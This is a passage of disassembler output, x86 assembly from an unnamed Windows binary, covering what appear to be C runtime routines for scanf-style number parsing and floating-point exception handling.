; ---------------------------------------------------------------------------


loc_420C17:				; CODE XREF: sub_420510+6FCj
		and	byte ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420C1F:				; CODE XREF: sub_420510+466j
		mov	[ebp+var_D], 1


loc_420C23:				; CODE XREF: sub_420510+203j
					; sub_420510+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_420C31
		mov	[ebp+var_17], 1
		jmp	short loc_420C36
; ---------------------------------------------------------------------------


loc_420C31:				; CODE XREF: sub_420510+719j
		cmp	ebx, 2Bh
		jnz	short loc_420C58


loc_420C36:				; CODE XREF: sub_420510+71Fj
		dec	[ebp+var_C]
		jnz	short loc_420C47
		cmp	[ebp+var_20], 0
		jz	short loc_420C47
		mov	[ebp+var_F], 1
		jmp	short loc_420C58
; ---------------------------------------------------------------------------


loc_420C47:				; CODE XREF: sub_420510+729j
					; sub_420510+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax


loc_420C55:				; CODE XREF: sub_420510+543j
		mov	[ebp+var_14], ebx


loc_420C58:				; CODE XREF: sub_420510+4FDj
					; sub_420510+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_420D71
		cmp	[ebp+var_F], 0
		jnz	loc_420D4F


loc_420C6C:				; CODE XREF: sub_420510+82Cj
		cmp	esi, 78h
		jnz	short loc_420CC0
		cmp	dword_441DB4, 1
		jle	short loc_420C89
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420C96
; ---------------------------------------------------------------------------


loc_420C89:				; CODE XREF: sub_420510+768j
		mov	eax, off_441BA8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420C96:				; CODE XREF: sub_420510+777j
		test	eax, eax
		jz	loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_423F90
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420D13
; ---------------------------------------------------------------------------


loc_420CC0:				; CODE XREF: sub_420510+75Fj
		cmp	dword_441DB4, 1
		jle	short loc_420CD5
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420CE0
; ---------------------------------------------------------------------------


loc_420CD5:				; CODE XREF: sub_420510+7B7j
		mov	eax, off_441BA8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420CE0:				; CODE XREF: sub_420510+7C3j
		test	eax, eax
		jz	short loc_420D41
		cmp	esi, 6Fh
		jnz	short loc_420CFE
		cmp	ebx, 38h
		jge	short loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_423F90
		jmp	short loc_420D0D
; ---------------------------------------------------------------------------


loc_420CFE:				; CODE XREF: sub_420510+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41D280


loc_420D0D:				; CODE XREF: sub_420510+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_420D13:				; CODE XREF: sub_420510+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_420D2B
		dec	[ebp+var_C]
		jz	short loc_420D4F


loc_420D2B:				; CODE XREF: sub_420510+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420C6C
; ---------------------------------------------------------------------------


loc_420D41:				; CODE XREF: sub_420510+788j
					; sub_420510+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420D4F:				; CODE XREF: sub_420510+756j
					; sub_420510+819j
		cmp	[ebp+var_17], 0
		jz	loc_420E35
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_420E35
; ---------------------------------------------------------------------------


loc_420D71:				; CODE XREF: sub_420510+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_420E2D


loc_420D7B:				; CODE XREF: sub_420510+90Aj
		cmp	esi, 78h
		jz	short loc_420DBF
		cmp	esi, 70h
		jz	short loc_420DBF
		cmp	dword_441DB4, 1
		jle	short loc_420D9A
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DA5
; ---------------------------------------------------------------------------


loc_420D9A:				; CODE XREF: sub_420510+87Cj
		mov	eax, off_441BA8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420DA5:				; CODE XREF: sub_420510+888j
		test	eax, eax
		jz	short loc_420E1F
		cmp	esi, 6Fh
		jnz	short loc_420DB8
		cmp	ebx, 38h
		jge	short loc_420E1F
		shl	edi, 3
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------


loc_420DB8:				; CODE XREF: sub_420510+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------


loc_420DBF:				; CODE XREF: sub_420510+86Ej
					; sub_420510+873j
		cmp	dword_441DB4, 1
		jle	short loc_420DD7
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DE4
; ---------------------------------------------------------------------------


loc_420DD7:				; CODE XREF: sub_420510+8B6j
		mov	eax, off_441BA8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420DE4:				; CODE XREF: sub_420510+8C5j
		test	eax, eax
		jz	short loc_420E1F
		push	ebx
		shl	edi, 4
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420DF7:				; CODE XREF: sub_420510+8A6j
					; sub_420510+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_420E09
		dec	[ebp+var_C]
		jz	short loc_420E2D


loc_420E09:				; CODE XREF: sub_420510+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420D7B
; ---------------------------------------------------------------------------


loc_420E1F:				; CODE XREF: sub_420510+897j
					; sub_420510+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420E2D:				; CODE XREF: sub_420510+865j
					; sub_420510+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_420E35
		neg	edi


loc_420E35:				; CODE XREF: sub_420510+843j
					; sub_420510+85Cj ...
		cmp	esi, 46h
		jnz	short loc_420E3E
		and	[ebp+var_1C], 0


loc_420E3E:				; CODE XREF: sub_420510+928j
		cmp	[ebp+var_1C], 0
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	short loc_420E77
		inc	[ebp+var_34]


loc_420E51:				; CODE XREF: sub_420510+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_420E67
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_420E77
; ---------------------------------------------------------------------------


loc_420E67:				; CODE XREF: sub_420510+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420E74
		mov	[eax], edi
		jmp	short loc_420E77
; ---------------------------------------------------------------------------


loc_420E74:				; CODE XREF: sub_420510+95Ej
		mov	[eax], di


loc_420E77:				; CODE XREF: sub_420510+241j
					; sub_420510+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_420EC4
; ---------------------------------------------------------------------------


loc_420E82:				; CODE XREF: sub_420510+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_420EF1
		mov	ecx, off_441BA8
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420EC4
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_420EFF
		dec	[ebp+var_4]


loc_420EC4:				; CODE XREF: sub_420510+970j
					; sub_420510+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420EDA
		cmp	byte ptr [esi],	25h
		jnz	short loc_420F1C
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_420F1C
		mov	esi, eax


loc_420EDA:				; CODE XREF: sub_420510+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_42053A
		jmp	short loc_420F16
; ---------------------------------------------------------------------------


loc_420EE6:				; CODE XREF: sub_420510+1F4j
					; sub_420510+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_420EF6
; ---------------------------------------------------------------------------


loc_420EF1:				; CODE XREF: sub_420510+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_420EF6:				; CODE XREF: sub_420510+9DFj
		call	sub_420F86
		pop	ecx
		pop	ecx
		jmp	short loc_420F16
; ---------------------------------------------------------------------------


loc_420EFF:				; CODE XREF: sub_420510+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		add	esp, 10h


loc_420F16:				; CODE XREF: sub_420510+1Fj
					; sub_420510+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420F2D


loc_420F1C:				; CODE XREF: sub_420510+9BDj
					; sub_420510+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_420F30
		cmp	[ebp+var_15], al
		jnz	short loc_420F30
		or	eax, 0FFFFFFFFh
		jmp	short loc_420F30
; ---------------------------------------------------------------------------


loc_420F2D:				; CODE XREF: sub_420510+A0Aj
		mov	eax, [ebp+var_34]


loc_420F30:				; CODE XREF: sub_420510+A11j
					; sub_420510+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420510	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F35	proc near		; CODE XREF: sub_420510+7A3p
					; sub_420510+8DCp

arg_0		= dword	ptr  4

		cmp	dword_441DB4, 1
		push	esi
		jle	short loc_420F4F
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420F5E
; ---------------------------------------------------------------------------


loc_420F4F:				; CODE XREF: sub_420F35+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_441BA8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_420F5E:				; CODE XREF: sub_420F35+18j
		test	eax, eax
		jnz	short loc_420F68
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_420F68:				; CODE XREF: sub_420F35+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_420F35	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F6C	proc near		; CODE XREF: sub_420510+1E1p
					; sub_420510+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_420F7E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_420F7E:				; CODE XREF: sub_420F6C+7j
		push	edx
		call	sub_41F043
		pop	ecx
		retn
sub_420F6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F86	proc near		; CODE XREF: sub_420510+6Bp
					; sub_420510+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_420F9C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_423FAF
		pop	ecx
		pop	ecx

locret_420F9C:				; CODE XREF: sub_420F86+5j
		retn
sub_420F86	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F9D	proc near		; CODE XREF: sub_420510+63p
					; sub_420510+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_420FA3:				; CODE XREF: sub_420F9D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_420F6C
		mov	edi, eax
		push	edi
		call	sub_41D670
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_420FA3
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_420F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_420FC1(int,int,double,int)

sub_420FC1	proc near		; CODE XREF: sub_41C679+51p
					; sub_41C7BF+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_442520, 0
		jnz	short loc_420FF6
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421576
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420FF6:				; CODE XREF: sub_420FC1+Aj
		push	0FFFFh
		mov	dword_4E0B28, 21h
		push	[ebp+arg_C]
		call	sub_4217E9
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_420FC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421014(int,int,double,double,int)

sub_421014	proc near		; CODE XREF: sub_41C679:loc_41C73Cp
					; sub_41C7BF:loc_41C882p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_42135F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421052
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4210AC
		add	esp, 18h


loc_421052:				; CODE XREF: sub_421014+1Aj
		push	[ebp+arg_0]
		call	sub_421649
		cmp	dword_442520, 0
		pop	ecx
		jnz	short loc_421090
		test	eax, eax
		jz	short loc_421090
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421576
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_421090:				; CODE XREF: sub_421014+4Ej
					; sub_421014+52j
		push	eax
		call	sub_4215FE
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_4217E9
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_421014	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210AC	proc near		; CODE XREF: sub_421014+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_4210DE
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_4210DE:				; CODE XREF: sub_4210AC+23j
		test	cl, 2
		jz	short loc_4210F1
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_4210F1:				; CODE XREF: sub_4210AC+35j
		test	cl, bl
		jz	short loc_421103
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_421103:				; CODE XREF: sub_4210AC+47j
		test	cl, 4
		jz	short loc_421116
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_421116:				; CODE XREF: sub_4210AC+5Aj
		test	cl, 8
		jz	short loc_421129
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_421129:				; CODE XREF: sub_4210AC+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_4217CC
		test	al, bl
		jz	short loc_4211B2
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_4211B2:				; CODE XREF: sub_4210AC+FDj
		test	al, 4
		jz	short loc_4211BD
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_4211BD:				; CODE XREF: sub_4210AC+108j
		test	al, 8
		jz	short loc_4211C8
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_4211C8:				; CODE XREF: sub_4210AC+113j
		test	al, 10h
		jz	short loc_4211D2
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_4211D2:				; CODE XREF: sub_4210AC+11Ej
		test	al, 20h
		jz	short loc_4211DC
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_4211DC:				; CODE XREF: sub_4210AC+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_42121B
		cmp	eax, 400h
		jz	short loc_42120D
		cmp	eax, 800h
		jz	short loc_421201
		cmp	eax, ecx
		jnz	short loc_421221
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421221
; ---------------------------------------------------------------------------


loc_421201:				; CODE XREF: sub_4210AC+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421217
; ---------------------------------------------------------------------------


loc_42120D:				; CODE XREF: sub_4210AC+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_421217:				; CODE XREF: sub_4210AC+15Fj
		mov	[eax], ecx
		jmp	short loc_421221
; ---------------------------------------------------------------------------


loc_42121B:				; CODE XREF: sub_4210AC+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_421221:				; CODE XREF: sub_4210AC+14Bj
					; sub_4210AC+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_42124C
		cmp	eax, 200h
		jz	short loc_42123F
		cmp	eax, ecx
		jnz	short loc_421259
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421259
; ---------------------------------------------------------------------------


loc_42123F:				; CODE XREF: sub_4210AC+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421257
; ---------------------------------------------------------------------------


loc_42124C:				; CODE XREF: sub_4210AC+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_421257:				; CODE XREF: sub_4210AC+19Ej
		mov	[eax], ecx


loc_421259:				; CODE XREF: sub_4210AC+189j
					; sub_4210AC+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_4217DA
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		nop
		call	near ptr 2670384h
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_4212D3
		and	dword ptr [esi], 0FFFFFFFEh


loc_4212D3:				; CODE XREF: sub_4210AC+222j
		test	byte ptr [eax+8], 8
		jz	short loc_4212DC
		and	dword ptr [esi], 0FFFFFFFBh


loc_4212DC:				; CODE XREF: sub_4210AC+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_4212E5
		and	dword ptr [esi], 0FFFFFFF7h


loc_4212E5:				; CODE XREF: sub_4210AC+234j
		test	byte ptr [eax+8], 2
		jz	short loc_4212EE
		and	dword ptr [esi], 0FFFFFFEFh


loc_4212EE:				; CODE XREF: sub_4210AC+23Dj
		test	[eax+8], bl
		jz	short loc_4212F6
		and	dword ptr [esi], 0FFFFFFDFh


loc_4212F6:				; CODE XREF: sub_4210AC+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_42132A
		dec	ecx
		jz	short loc_42131E
		dec	ecx
		jz	short loc_421314
		dec	ecx
		jnz	short loc_42132C
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_42132C
; ---------------------------------------------------------------------------


loc_421314:				; CODE XREF: sub_4210AC+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421326
; ---------------------------------------------------------------------------


loc_42131E:				; CODE XREF: sub_4210AC+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_421326:				; CODE XREF: sub_4210AC+270j
		mov	[esi], ecx
		jmp	short loc_42132C
; ---------------------------------------------------------------------------


loc_42132A:				; CODE XREF: sub_4210AC+257j
		and	[esi], edx


loc_42132C:				; CODE XREF: sub_4210AC+260j
					; sub_4210AC+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_42134C
		dec	ecx
		jz	short loc_421343
		dec	ecx
		jnz	short loc_421355
		and	[esi], edx
		jmp	short loc_421355
; ---------------------------------------------------------------------------


loc_421343:				; CODE XREF: sub_4210AC+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421353
; ---------------------------------------------------------------------------


loc_42134C:				; CODE XREF: sub_4210AC+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_421353:				; CODE XREF: sub_4210AC+29Ej
		mov	[esi], ecx


loc_421355:				; CODE XREF: sub_4210AC+291j
					; sub_4210AC+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4210AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42135F	proc near		; CODE XREF: sub_421014+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_42138A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_42138A
		push	ebx
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_42138A:				; CODE XREF: sub_42135F+15j
					; sub_42135F+1Aj
		test	al, 4
		jz	short loc_4213A4
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4213A4
		push	4
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_4213A4:				; CODE XREF: sub_42135F+2Dj
					; sub_42135F+33j
		test	al, bl
		jz	loc_42147E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_42147E
		push	8
		call	sub_42180C
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421456
		cmp	ecx, 400h
		jz	short loc_42142E
		cmp	ecx, 800h
		jz	short loc_421406
		cmp	ecx, eax
		jnz	loc_421476
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_442120
		fnstsw	ax
		sahf
		ja	short loc_4213FE
		fchs


loc_4213FE:				; CODE XREF: sub_42135F+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_421406:				; CODE XREF: sub_42135F+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_42141E
		fld	dbl_442110
		jmp	short loc_421426
; ---------------------------------------------------------------------------


loc_42141E:				; CODE XREF: sub_42135F+B5j
		fld	dbl_442120
		fchs


loc_421426:				; CODE XREF: sub_42135F+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_42142E:				; CODE XREF: sub_42135F+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_421446
		fld	dbl_442120
		jmp	short loc_42144E
; ---------------------------------------------------------------------------


loc_421446:				; CODE XREF: sub_42135F+DDj
		fld	dbl_442110
		fchs


loc_42144E:				; CODE XREF: sub_42135F+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_421456:				; CODE XREF: sub_42135F+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_442110
		fnstsw	ax
		sahf
		ja	short loc_42146E
		fchs


loc_42146E:				; CODE XREF: sub_42135F+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_421474:				; CODE XREF: sub_42135F+A5j
					; sub_42135F+CDj ...
		fstp	qword ptr [ecx]


loc_421476:				; CODE XREF: sub_42135F+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_42147E:				; CODE XREF: sub_42135F+47j
					; sub_42135F+51j
		test	al, 2
